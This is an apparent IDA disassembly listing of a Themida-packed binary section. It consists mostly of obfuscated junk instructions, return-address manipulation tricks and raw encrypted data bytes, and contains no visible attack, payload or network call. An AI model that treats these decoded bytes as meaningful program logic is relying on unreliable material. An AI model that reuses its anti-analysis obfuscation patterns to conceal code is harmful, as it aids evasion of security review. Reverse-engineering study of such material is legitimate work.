		xchg	al, [esi+2Dh]
		leave
		mov	ds:6AF9BDD3h, al
		add	[edx+0], ch


loc_5F2C7F:				; CODE XREF: Themida_:005F2CA8j
		push	ebp
		call	sub_5F2C88
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F2C88	proc near		; CODE XREF: Themida_:005F2C80p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5F2C88	endp

; ---------------------------------------------------------------------------
		or	dh, [ecx-2FF88FC8h]
		jnb	short loc_5F2CA6
		jmp	loc_5F2CB2
; ---------------------------------------------------------------------------
		db 0ECh
; ---------------------------------------------------------------------------


loc_5F2CA6:				; CODE XREF: Themida_:005F2C9Ej
		ja	short near ptr loc_5F2CE7+1
		jnp	short loc_5F2C7F
		std
		cmpsd
		fldenv	byte ptr [ebx+5C7ADB0Ch]


loc_5F2CB2:				; CODE XREF: Themida_:005F2CA0j
		lea	eax, [ebp+61A6505h]
		mov	ecx, 252B7108h
		push	eax
		call	near ptr loc_5F2CCE+3
		cmpsd
		aad	41h
		pop	esi
		sub	eax, 0B435EED1h
		and	al, 4Ch


loc_5F2CCE:				; CODE XREF: Themida_:005F2CBEp
		lea	ecx, [esp+eax+60h]
		mov	ah, 17h
		push	edi
		pop	eax
		popa
		pop	edx
		mov	[esp], eax
		push	0
		push	ebx
		call	sub_5F2CE6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F2CE6	proc near		; CODE XREF: Themida_:005F2CDEp

arg_4		= dword	ptr  8

		pop	ebx


loc_5F2CE7:				; CODE XREF: Themida_:loc_5F2CA6j
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5F2CE6	endp

; ---------------------------------------------------------------------------
		dw 0EFD0h
		dd 33EAFDD6h, 0EAD958Bh, 95FF0613h, 6131179h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 80C35141h, 0D15F096Ah
		dd 0ADC59948h, 0FC00B78h, 1184h, 0AD850900h, 0E906130Dh
		dd 1A2h, 80D38B66h, 0C56836C5h,	0E9935687h, 7, 0ED8EF2ABh
		dd 81D7DA8Bh, 79672404h, 0FFF96CA9h, 130DA995h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 9C9E21Eh, 0BFBAAD7Ch, 8D7FE441h, 1A6505B5h, 0C7D78B06h
		dd 6C694606h, 55006A65h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 4C287372h, 20E9FD1h, 11E973F0h, 0DF000000h
		dd 0AF087828h, 0C4CA9019h, 0E583FB08h, 312E3BCBh, 6D0446C7h
		dd 6A636E6Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 7DD4C351h, 503ABB66h, 6820Fh
		dd 85890000h, 6131A2Dh,	6C0846C7h, 89737361h, 130635B5h
		dd 0C46C706h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5F2E27
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F2E27	proc near		; CODE XREF: Themida_:005F2E1Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5F2E27	endp

; ---------------------------------------------------------------------------
		db 92h
		dd 26B96669h, 6A006AE3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0B006C351h,	518D8BACh
		dd 0F061330h, 858DD6BFh, 61A6505h, 0AD58589h, 0B5900613h
		dd 0BB6650C9h, 89907D2Dh, 131DB9B5h, 7995FF06h,	8B061311h
		dd 0FC00BD6h, 2E84h, 28B0F00h, 8B000000h, 44E9D3h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0A38339C3h, 0E90C0B7Eh, 0FFFFFAAAh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0E5C35343h,	0B58DA690h, 6137533h
		dd 0C204F781h, 0B81FB8h, 0F5000000h, 6AE6FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0BBA910C3h
		dd 4D074315h, 0E98166CDh, 8BF501E5h, 0E8C18BCBh, 0Ch, 0ED9FC65Bh
		dd 1D0D6612h, 266AA778h, 13799D8Bh, 0F5F0613h, 0C781F1B7h
		dd 6C32h, 19B58B51h, 5B06130Ch,	1AD668h, 85896000h, 6130B81h
		dd 2E7B8BBBh, 0F586106h, 37FFF7BFh, 59D7BF0Fh, 0CE8h, 91402D00h
		dd 0B2A3D782h, 0D433AD8Eh, 0D5E281F9h, 5B471E22h, 34D1E981h
		dd 0D68143F3h, 373CABDCh, 4B47C181h, 0B70F4BCBh, 40C181D1h
		dd 800077EEh, 8951A9CAh, 13220585h, 66078F06h, 0EF81D78Bh
		dd 11FCA05h, 0DE8h, 73939000h, 0B662425Bh, 56A2CADEh, 0B50BC1FBh
		dd 61322CDh, 1C7815Bh, 81011FCAh, 1E8h,	12850F00h, 66000000h
		dd 23E9F78Bh, 53000000h, 69491559h, 0C14D5359h,	0E932B637h
		dd 0FFFFFF6Eh, 0AB70E7Ah, 0A7B5E98Bh, 48E21701h, 2BE47770h
		dd 8D8D975Eh, 61A6DCBh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 22C35040h, 0BD8BC78Bh, 6130C71h, 1BBD8D89h
		dd 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 67BFBC3h,	29EEDD61h, 858B64A8h, 6131FBDh
		dd 18DD85C7h, 5DA80613h, 95890000h, 6133085h, 305585C7h
		dd 613h, 0C18A0000h, 2831B5FFh,	0B5890613h, 6131FD1h, 1D8995FFh
		dd 6A0613h, 0DA995FFh, 0C08B0613h, 0C06C2FEBh, 0A223BDE8h
		dd 844E5035h, 0BF1954B5h, 496875CBh, 7FAFBE46h,	0C69E7368h
		dd 0D31BF1A4h, 0A9208144h, 0D4E958EBh, 9B8DB5AFh, 0A592DDFDh
		dd 0B1CAFE9Ch, 36A80E93h, 0FC8A4A18h, 0ABA80E90h, 5475EAD5h
		dd 3CA80E91h, 0BA8A4A19h, 0E957AE5Dh, 448A4A19h, 0ABA80E96h
		dd 0F75EAD5h, 0DFA80E96h, 898A4A1Eh, 59A80E96h,	38A4A1Fh
		dd 0ABA80E97h, 2575EAD5h, 3B82D42Fh, 0C0031330h, 52B23FA3h
		dd 2A1290A7h, 0D12157B8h, 43907B2Fh, 3B47D42Fh,	0C0031330h
		dd 52B23FABh, 35CD90A7h, 0D12157B8h, 43907B3Bh,	2436D42Fh
		dd 0C0031330h, 52B23FB7h, 357990A7h, 0D12157B8h, 43907B37h
		dd 259FD42Fh, 0C0031330h, 52B23F83h, 340A90A7h,	0D12157B8h
		dd 43907B03h, 2569D42Fh, 0C0031330h, 52B23F8Fh,	378890A7h
		dd 0D12157B8h, 43907B1Bh, 26EBD42Fh, 0C0031330h, 52B23F97h
		dd 37F690A7h, 0D12157B8h, 43907B13h, 5012B8C3h,	0CEDF152Ah
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5FE4F1C0h, 0A8ED96A4h
		dd 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh,	0C6CB152Ah
		dd 0BA415564h, 0CE75EAD5h, 9D3AAE63h, 848C062Bh, 11AB5342h
		dd 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h
		dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
		dd 4162AD6Ch, 660351A2h, 0EE27BFEAh, 2FBFDB2Fh,	94751330h
		dd 0D9020112h, 5FF102A0h, 0EC79AEA4h, 41AE51A1h, 4322DC09h
		dd 0BA8C0F51h, 0DF103773h, 0C821732Ah, 4ED34628h, 0FD5BEA2Ch
		dd 508C152Bh, 52009881h, 0ABAE4BD9h, 0EFD2A5FBh, 0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 5FE5B1C0h, 5CDDDAA4h, 828668A1h,	54A8ADE7h
		dd 0BACC152Ah, 47A14C30h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h
		dd 0D9F9FA31h, 5FF102A0h, 0D79AEA4h, 2320949Ah,	328C551Ah
		dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 458A15C2h, 0BE290BA2h, 43907AD1h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 0D775532Ah, 52BB58BFh, 0CE19CDA1h
		dd 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 5FF102A0h, 0D79AEA4h
		dd 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh, 174D6h
		dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
		dd 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h,	454A38F2h
		dd 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h
		dd 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh,	38A1BE4Ch
		dd 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h
		dd 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h
		dd 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h,	5D1151A2h
		dd 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h,	0EF4B93E2h
		dd 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
		dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah
		dd 0D4A7B222h, 860085E1h, 4322DC08h, 0BA8C0F51h, 0FEF8E173h
		dd 3E9D9FA7h, 855757B8h, 6E20D6A0h, 29215DDFh, 174D6h
		dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
		dd 458A15D6h, 54AFE9A2h, 0D775152Ah, 52BB506Bh,	0C8204526h
		dd 4ED34628h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h,	50AC5962h
		dd 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
		dd 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh,	0FE0451A2h
		dd 4C9787D5h, 8C2357B1h, 0EF491786h, 2FBFDB2Fh,	94751330h
		dd 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h,	9D541429h
		dd 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh
		dd 0F8A851A2h, 5818EA80h, 0DFAE42ABh, 8558B9E2h, 4332DC08h
		dd 0BA8C0F51h, 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h
		dd 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h
		dd 0B9CFD226h, 54A851A2h, 0D775BF86h, 52BB58BFh, 7726DDA1h
		dd 0CE25FB63h, 43906E3Dh, 0ECCE825Dh, 0EEECE4AAh, 7F029028h
		dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h,	2576D1A9h
		dd 0DFA02429h, 4D1957h,	54A8515Eh, 7732732Ah, 0D903376Bh
		dd 5FF102B0h, 327BAEA4h, 234B9592h, 0FE04FD09h,	0CC866801h
		dd 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h
		dd 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 3E9D8FA7h
		dd 875757B8h, 320A09Ah,	0CE25FB0Eh, 43906E3Dh, 0ECCE825Dh
		dd 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5FF8D9C0h, 0A8ED96A4h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43907B2Bh, 8C32DCF1h
		dd 0BA8C0F44h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 4EC64038h, 0DF07462Ch, 52B23F7Ah, 3C6D5h, 5492B85Eh
		dd 3075152Ah, 5CDDAEAEh, 2B978FA7h, 0D9FB57B8h,	5FE4CDB0h
		dd 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h
		dd 3075195Fh, 7D32DCAAh, 168C0F44h, 3A70CB2Fh, 96751330h
		dd 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh
		dd 2AE900h, 4C70000h, 24h, 0E800h, 815D0000h, 1A73A8EDh
		dd 24448B06h, 0C5858904h, 0B8061304h, 0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+6134F8Dh]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	eax, 6754h
		jmp	short loc_5F36A3
; ---------------------------------------------------------------------------
		db 0E0h
; ---------------------------------------------------------------------------
		jmp	dword ptr [ebx+eax*2]
; ---------------------------------------------------------------------------
		db 0Ah
		dd 8138BC57h
		db 18h,	0DEh, 80h
; ---------------------------------------------------------------------------


loc_5F36A3:				; CODE XREF: Themida_:005F3695j
		jmp	loc_5F3C2D
; ---------------------------------------------------------------------------
		jmp	loc_5F3C26
; ---------------------------------------------------------------------------
		db 0A0h, 12h, 44h
		dd 5CF24466h, 42085C7Eh, 63ED3E64h, 84D05D43h, 0D338F726h
		dd 0CAF0CE86h, 0D8FAD87Ah, 0C3E5C583h, 0EFFCDA72h, 28217DF0h
		dd 0B7EA16B8h, 0E06CBD8Bh, 6EDA6D51h, 0E56DFBDFh, 71E37254h
		dd 54FDEE0h, 8FC11234h,	4E220730h, 0CCF357E9h, 814BAA7Bh
		dd 0FE4CE0E2h, 73DB6B6Fh, 0A58D6B54h, 19F1F277h, 0DCE485C9h
		dd 0F8694E8Dh, 81C91BC5h, 428C901Ah, 63233E7Ah,	11446344h
		dd 109E74B5h, 450B5C7Eh, 0B86D9C24h, 0F1168887h, 9D280FACh
		dd 98E77F47h, 745615DFh, 664C6AE0h, 98E978D2h, 4F8A2F55h
		dd 6413A8EAh, 5B65EF3Eh, 4363E779h, 4B681E43h, 2FBD8B1Ah
		dd 859BCCBh, 0F7D771C6h, 7047ED1h, 39E401C4h, 3BCA9BFAh
		dd 0DCC90AC0h, 0AB851C1h, 0D17FD0B5h, 42600180h, 4C6B1B46h
		dd 75D41819h, 1EB19986h, 1735882Ah, 70FDC746h, 6DED1C2Dh
		dd 0A97A71D3h, 20223317h, 5B71C08Eh, 24AD9831h,	6D2B51EAh
		dd 0FCA95F4h, 2BB59D2Bh, 10F4h,	6DE0C700h, 17559F81h, 0C499438Dh
		dd 32Bh, 0DE6ABD6Ah, 51F94B8Fh,	69E28C00h, 842226B9h, 592F7FA3h
		dd 20BA535Ah, 9D3B22Ch,	85D474C7h, 2963E03Dh, 384DE290h
		dd 0ECCBAAA8h, 89D872C6h, 0B092C008h, 0A9912E1Ch, 8C067719h
		dd 55109E69h, 81005130h, 15A6A837h, 0BC362A3Bh,	941933Fh
		dd 0ECFE3AA9h, 0D7FB06E4h, 0CE00C888h, 0D3F5D57Fh, 5A7CCD85h
		dd 89F0820Ah, 0DE28362Ch, 0F6FC0B08h, 0E485E4F3h, 1211E0C7h
		dd 0A6922403h, 231CCF1Eh, 0FA661B04h, 61507DB2h, 24C496F0h
		dd 0B63E5FFAh, 0A533DF5Ch, 0BC310EADh, 0FA24C562h, 0B898272Bh
		dd 0E6C10FD9h, 9Ah, 0C5BBA34Ch,	4DFF5274h, 0BC9C496Eh
		dd 7B2A4B7Ch, 0EB3D6371h, 237F0E5Fh, 65109E9Bh,	50E48E2Bh
		dd 66F6DCFAh, 0E8795DECh, 1082D564h, 1B79C77Bh,	9E9B70EAh
		dd 0B5D43910h, 0ADA53315h, 292BBA9Ch, 3513A88Ah, 8CDBE524h
		dd 633C6358h, 0EB40AD57h, 2FCC468Eh, 0BD1D3583h, 37064E9Bh
		dd 0B1DD310Fh, 79DB6A18h, 1567C59h, 85B7D47h, 253C6340h
		dd 55E9EF11h, 0F988D7E1h, 109E3F98h, 0BF2E11CEh, 109E4063h
		dd 0A5DFE92Ch, 7FC95E14h, 66E87A60h, 7D608F41h,	4CC5BFEh
		dd 6ABD7CD6h, 6A508FDEh, 6A6C74D6h, 2D1BB0D5h, 7B15FD4Ch
		dd 696E59FEh, 0CC29F50h, 2D82D41Ch, 0F6470558h,	280D3097h
		dd 26E7ACFFh, 71F46747h, 0B8109DD5h, 41C6D3A0h,	0CE8AB5A3h
		dd 0E4FE3A31h, 0F45EEED0h, 0FF1FB5ECh, 0A389FFFFh, 7AEBC8BEh
		dd 168EA18Fh, 2441578h,	203D9DAFh, 63E3AB3Ah, 98A59DF2h
		dd 80015031h, 89C31638h, 484596B8h, 293859F7h, 37A689B6h
		dd 0A8A28DBh, 2D5761A4h, 59C4EB9Ch, 1469B31Bh, 0DC6D5F69h
		dd 0DD705270h, 0C0E23CB1h, 6AAB0A89h, 75679F45h, 0CAAB6A2Fh
		dd 278B0A7Bh, 85030A8Ah, 61EB3EF4h, 0B8CE5F41h,	233569D3h
		dd 8FDEBF36h, 714E3831h, 7A9BFDFCh, 7BCC0E10h, 640584D5h
		dd 671F4A46h, 62486748h, 0ABEA7BCDh, 769B60BAh,	0DCE42904h
		dd 60AE00ADh, 55E4290Ah, 4C6ADE71h, 0BD194C6Bh,	86FE5C26h
		dd 489BBD07h, 5DC03100h, 2F436269h, 0DE38AD8Ah,	0A7B91DE4h
		dd 2C3D15A3h, 0CA448CEDh, 1A2E8131h, 0C4696BCh,	82C6193Dh
		dd 0EB60AAB3h, 0C1DAF3C1h, 0C55B0Bh, 0BDFF0000h, 0DDC2E16Dh
		dd 0ACE10433h, 109DCE32h, 0B0359AFBh, 0C380682Eh, 0F364DB80h
		dd 2B0C4A92h, 4E96B607h, 3492B80Ch, 3393BD0Eh, 3694C00Dh
		dd 4BC73619h, 14109E71h, 7148C233h, 8C11109Eh, 0D87CC9EDh
		dd 226FBE10h, 2A0C193h,	0E4C29020h, 0FFDF69BEh,	0E6C488D9h
		dd 0D45CDEC9h, 76F99EB0h, 9E5B8B07h, 50315410h,	5221C66Bh
		dd 7E46A684h, 26810D5Ch, 0A791F67Dh, 0E20D5C3Dh, 0A7634C8Bh
		dd 116961C4h, 0F041935Dh, 95D70D5Ch, 15488724h,	109DF3B9h
		dd 1B593D82h, 51E072C2h, 75D88B30h, 3A18A80Ah, 0FF6E7B5Bh
		dd 0E466FAE0h, 8F01DCh,	0DD5D0000h, 9DB535AEh, 61467310h
		dd 0FFE1BC33h, 7F09D380h, 0BD32300Ah, 0E4C1E16Dh, 50E16BBEh
		dd 13A5A731h, 0E5983771h, 7A1B3BBFh, 6BE5765Ch,	0E796634Ch
		dd 36D7DA72h, 6B059EFFh, 0A9066744h, 9E50DA34h,	5A62A310h
		dd 4D07567Ch, 0FE6F506Dh, 109E50A4h, 74C583D8h,	0B0044615h
		dd 2B4ACB9Ah, 3222AFA1h, 341EAE94h, 4391B996h, 15DF3E0Fh
		dd 0FAD870C3h, 0E7C785D8h, 14C8h, 5E7B6600h, 0B4920C81h
		dd 87C3109Dh, 9F2F81DEh, 677194A3h, 0E571BDEDh,	6DDF7254h
		dd 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h
		dd 0AF9B2D11h, 242ABC9Eh, 0EC812215h, 4, 89240489h, 405E0h
		dd 0E8830000h, 24048704h, 285F685Ch, 4890000h, 44396824h
		dd 34890000h, 0D8BF5724h, 0C1604907h, 0F78107E7h, 17F8042Ah
		dd 8104E7C1h, 0E3F27E7h, 14CF813Ah
; ---------------------------------------------------------------------------


loc_5F3BDC:				; CODE XREF: Themida_:005F3C36j
		dec	esi
		test	al, 63h
		xor	edi, 75B43DD7h
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 8
		sub	ecx, 614C4101h
		add	ecx, esi
		add	ecx, 614C4101h
		mov	[ecx], eax
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 0E2h, 0FCh
; ---------------------------------------------------------------------------


loc_5F3C26:				; CODE XREF: Themida_:005F36A8j
		mov	eax, 61A78D0h
		add	eax, ebp	; CODE XREF: Themida_:005F3C34j


loc_5F3C2D:				; CODE XREF: Themida_:loc_5F36A3j
		mov	edx, ebx
		push	ebp
		in	eax, dx
		std
		jnz	short loc_5F3C92 ; CODE	XREF: Themida_:005F3C9Aj
		jp	short near ptr loc_5F3C2B+1
		jbe	short loc_5F3BDC
		imul	esp, esi, 0FD49BC56h
		sub	[ebx-257102DBh], cl
		and	eax, 25CDCFFDh
		std
		sub	eax, 1FFD2547h
		and	byte ptr ds:2560F5FDh, 0FDh
		rcl	byte ptr [ecx],	cl
		and	eax, 25A9B3FDh	; CODE XREF: Themida_:005F3CCAj
		std
		scasb
		cmc
		and	eax, 25DAD5FDh
		std
		mov	ds:7FD25CDh, al


loc_5F3C6B:				; CODE XREF: Themida_:005F3C9Ej
					; Themida_:005F3CAEj
		cmp	ds:258360FDh, esp
		std
		inc	ecx
		popa
		and	eax, 251022FDh
		std
		out	dx, al
		xlat
		and	eax, 258B32FDh
		std
		popf
		and	eax, 2295358Ah
		mov	ds:714A76D6h, al ; CODE	XREF: Themida_:005F3CBEj
					; Themida_:005F3CCEj
		ficomp	word ptr [ebp+edi*4+4Bh] ; CODE	XREF: Themida_:005F3C98j


loc_5F3C91:				; CODE XREF: Themida_:005F3CA2j
		hlt
; ---------------------------------------------------------------------------


loc_5F3C92:				; CODE XREF: Themida_:005F3C32j
		pop	esp


loc_5F3C93:				; CODE XREF: Themida_:005F3C94j
		pop	edx
		jp	short loc_5F3C93
		jnz	short near ptr loc_5F3CBE+1
		jb	short near ptr loc_5F3C8D+2
		jnz	short near ptr loc_5F3C32+1 ; CODE XREF: Themida_:005F3C9Cj
					; Themida_:005F3CA4j ...
		jns	short near ptr loc_5F3C9A+1
		jz	short loc_5F3C6B ; CODE	XREF: Themida_:005F3CA0j
		js	short near ptr loc_5F3C9E+1
		jnb	short loc_5F3C91
		jge	short near ptr loc_5F3C9A+1


loc_5F3CA6:				; CODE XREF: Themida_:loc_5F3CA8j
		jz	short near ptr loc_5F3C9A+1


loc_5F3CA8:				; CODE XREF: Themida_:loc_5F3CC2j
		jnp	short loc_5F3CA6


loc_5F3CAA:				; CODE XREF: Themida_:005F3CACj
		jz	short loc_5F3D24
		jnp	short loc_5F3CAA
		jnz	short near ptr loc_5F3C6B+1 ; CODE XREF: Themida_:005F3CB0j
		jp	short near ptr loc_5F3CAE+1
		jnz	short near ptr loc_5F3D11+1 ; CODE XREF: Themida_:005F3CB4j
		jp	short near ptr loc_5F3CB2+1
		jbe	short near ptr loc_5F3CDB+2
		cmc
		mov	ds:0A3EAA375h, eax ; CODE XREF:	Themida_:loc_5F3CC6j


loc_5F3CBE:				; CODE XREF: Themida_:005F3C96j
					; Themida_:005F3CC0j
		jnz	short near ptr loc_5F3C88+3
		jp	short near ptr loc_5F3CBE+1


loc_5F3CC2:				; CODE XREF: Themida_:005F3CC4j
		jnz	short loc_5F3CA8
		jnp	short loc_5F3CC2


loc_5F3CC6:				; CODE XREF: Themida_:005F3CC8j
		jz	short near ptr loc_5F3CB9+2
		jnp	short loc_5F3CC6
		jz	short near ptr loc_5F3C58+4
		mov	dl, 0F8h
		jnz	short near ptr loc_5F3C88+4
		sbb	dh, [eax-10h]
		and	eax, [edi]
		out	73h, eax
		cmpsb
		dec	dword ptr [ecx+0Ch]


loc_5F3CDB:				; CODE XREF: Themida_:005F3CB6j
		lea	edi, [eax+esi*2-10h]
		pop	eax
		pop	es
		out	73h, eax
		insb
		dec	dword ptr [ecx+707CE80Ch]
		lock test al, 7
		out	73h, eax
		xor	eax, 440C4DFFh
		jl	short near ptr loc_5F3D65+1
		lock push ds
		pop	es
		out	73h, eax
		push	ds
		inc	dword ptr [ebp+707CD10Ch]
		lock adc eax, 7B73E706h
		inc	dword ptr [ecx+707C630Ch]
		lock xor al, [ecx]


loc_5F3D11:				; CODE XREF: Themida_:loc_5F3CB2j
		out	73h, eax
		xlat
; ---------------------------------------------------------------------------
		dd 350C7DFFh, 37F0707Ch
; ---------------------------------------------------------------------------


loc_5F3D1C:				; CODE XREF: Themida_:005F3D2Aj
		add	edi, esp
		jnb	short loc_5F3D62
; ---------------------------------------------------------------------------
		dd 0FF0C79FFh
; ---------------------------------------------------------------------------


loc_5F3D24:				; CODE XREF: Themida_:loc_5F3CAAj
		jl	short loc_5F3D96
		lock inc esp
		add	edi, esp
		jnb	short loc_5F3D1C
		push	dword ptr [ebp+0Ch]
		cmpsb
		jl	short loc_5F3DA2
		lock dec edi
		push	es
		out	73h, eax
		cmpsb
		jmp	fword ptr [ecx+0Ch]
; ---------------------------------------------------------------------------
		db 8Dh
; ---------------------------------------------------------------------------
		jl	short loc_5F3DAE


loc_5F3D3E:				; CODE XREF: Themida_:loc_5F3D96j
		lock push ss
		add	edi, esp
		jnb	short loc_5F3DB0
		push	dword ptr [ecx+0Ch]
		call	near ptr 864FADC8h
		add	edi, esp
		jnb	short loc_5F3D85
		jmp	fword ptr [ebp+0Ch]
; ---------------------------------------------------------------------------
		db 44h
		dd 3EF0707Ch, 1E73E706h, 0D10C69FFh
; ---------------------------------------------------------------------------
		jl	short loc_5F3DD2


loc_5F3D62:				; CODE XREF: Themida_:005F3D1Ej
		lock scasb
		push	es


loc_5F3D65:				; CODE XREF: Themida_:005F3CF4j
		out	73h, eax
		jnp	short near ptr loc_5F3D67+1 ; CODE XREF: Themida_:loc_5F3D67j
		pop	ecx
		or	al, 63h
		jl	short near ptr loc_5F3DDC+2
		lock setalc
		push	es
		out	73h, eax
		xlat
		call	dword ptr [ebp+0Ch]


loc_5F3D77:				; CODE XREF: Themida_:loc_5F3D85j
		xor	eax, 1AF0707Ch
		push	es
		out	73h, eax
		inc	edx
		call	dword ptr [ecx+0Ch]
; ---------------------------------------------------------------------------
		db 0FFh
		db 7Ch
; ---------------------------------------------------------------------------


loc_5F3D85:				; CODE XREF: Themida_:005F3D4Ej
		jo	short loc_5F3D77


loc_5F3D87:				; CODE XREF: Themida_:005F3DEDj
		and	al, 6
		out	73h, eax
		lock jmp dword ptr [ebp+0Ch]
; ---------------------------------------------------------------------------
		db 0A6h
		dd 53F0707Ch
; ---------------------------------------------------------------------------


loc_5F3D94:				; CODE XREF: Themida_:loc_5F3DF2j
		pop	es
; ---------------------------------------------------------------------------
		db 0E7h
; ---------------------------------------------------------------------------


loc_5F3D96:				; CODE XREF: Themida_:loc_5F3D24j
					; Themida_:005F3DCEj
		jnb	short loc_5F3D3E
		jmp	dword ptr [ecx+0Ch]
; ---------------------------------------------------------------------------
		db 8Dh
; ---------------------------------------------------------------------------


loc_5F3D9C:				; CODE XREF: Themida_:005F3DACj
		jl	short near ptr loc_5F3E0D+1
		lock arpl [edi], ax
; ---------------------------------------------------------------------------
		db 0E7h
; ---------------------------------------------------------------------------


loc_5F3DA2:				; CODE XREF: Themida_:005F3D30j
		jnb	short loc_5F3E10
		call	fword ptr [ebp+0Ch]
		call	near ptr 654FB428h
		jnb	short loc_5F3D9C


loc_5F3DAE:				; CODE XREF: Themida_:005F3D3Cj
		jnb	short loc_5F3DE5


loc_5F3DB0:				; CODE XREF: Themida_:005F3D42j
		call	dword ptr [eax]
		or	al, 44h
		jl	short loc_5F3E2C
		lock out 7Bh, al
		out	dx, al
		jnb	short near ptr loc_5F3DD9+1
		dec	dword ptr [esp+ecx]
		sar	dword ptr [esp+ebx*4-4Ah], 1
		mov	al, 0F1h
		adc	[ebp+75FD7AF2h], ebx
		and	edi, ebx
		pop	ss
		jz	short near ptr loc_5F3D96+1 ; CODE XREF: Themida_:005F3DFEj
					; Themida_:loc_5F3E10j
		pusha
		sti


loc_5F3DD2:				; CODE XREF: Themida_:005F3D60j
		and	eax, 0FDF53FD5h
		lodsd
		xchg	eax, esi


loc_5F3DD9:				; CODE XREF: Themida_:005F3DBAj
		test	[edi-6Fh], ch


loc_5F3DDC:				; CODE XREF: Themida_:005F3D6Cj
		and	dh, [edi+esi*4]
		iret
; ---------------------------------------------------------------------------
		dd 0B723AC7Ah
		db 29h
; ---------------------------------------------------------------------------


loc_5F3DE5:				; CODE XREF: Themida_:loc_5F3DAEj
		lodsd
		and	[edx], bl	; CODE XREF: Themida_:005F3DE8j
		jp	short near ptr loc_5F3DE6+1
		jnz	short loc_5F3E65
		daa
		jl	short loc_5F3D87
		sahf
		add	edi, esp


loc_5F3DF2:				; CODE XREF: Themida_:005F3E50j
					; Themida_:005F3E5Aj
		jnb	short loc_5F3D94
		dec	dword ptr [esi+7D7C350Ch]
		enter	3E4h, 0E7h
